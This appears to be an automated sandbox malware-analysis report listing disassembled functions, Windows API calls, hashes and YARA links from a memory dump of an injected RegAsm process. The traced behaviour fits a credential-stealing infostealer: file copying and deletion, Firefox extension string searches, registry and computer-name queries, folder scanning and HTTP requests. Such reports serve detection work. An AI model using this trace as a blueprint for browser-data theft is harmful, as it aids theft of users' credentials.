Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01102CA0,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,011018B8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01102CA0,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: e121cfe9fe32b2af70db67326c4d489dbb6a6b3d1a5b39116d89c40605fc136a
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: e121cfe9fe32b2af70db67326c4d489dbb6a6b3d1a5b39116d89c40605fc136a
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,010FC4E0,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,011027F8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,010FAA58,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,010FAA58,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,01103C70), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,011033C8,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,011023F8), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,01103C30), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 153043497-3392445751
Opcode ID: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6BEB3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6BEB3095

Part of subcall function 6BEB35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6BF3F688,00001000), ref: 6BEB35D5
Part of subcall function 6BEB35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BEB35E0
Part of subcall function 6BEB35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6BEB35FD
Part of subcall function 6BEB35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BEB363F
Part of subcall function 6BEB35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BEB369F
Part of subcall function 6BEB35A0: __aulldiv.LIBCMT ref: 6BEB36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BEB309F

Part of subcall function 6BED5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BED56EE,?,00000001), ref: 6BED5B85
Part of subcall function 6BED5B50: EnterCriticalSection.KERNEL32(6BF3F688,?,?,?,6BED56EE,?,00000001), ref: 6BED5B90
Part of subcall function 6BED5B50: LeaveCriticalSection.KERNEL32(6BF3F688,?,?,?,6BED56EE,?,00000001), ref: 6BED5BD8
Part of subcall function 6BED5B50: GetTickCount64.KERNEL32 ref: 6BED5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6BEB30BE

Part of subcall function 6BEB30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6BEB3127
Part of subcall function 6BEB30F0: __aulldiv.LIBCMT ref: 6BEB3140

Part of subcall function 6BEEAB2A: __onexit.LIBCMT ref: 6BEEAB30

Memory Dump Source

Source File: 00000002.00000002.2252758559.000000006BEB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6BEB0000, based on PE: true

Associated: 00000002.00000002.2252736558.000000006BEB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252945257.000000006BF3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252964506.000000006BF42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6beb0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 53c3bee1163b2df642870398af7b944b42afa0f0341b9a72ac7920b943b34f3c
Instruction ID: 823bf9bcfbc3a495894e9091d86f6efe7adacc7614f6cd3ee7cbbd8cd7fd2ce1
Opcode Fuzzy Hash: 53c3bee1163b2df642870398af7b944b42afa0f0341b9a72ac7920b943b34f3c
Instruction Fuzzy Hash: A5F0D672C3074497CA20EF3489422A67366AF6B214F20231EE88852131FB30A1D883D1

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

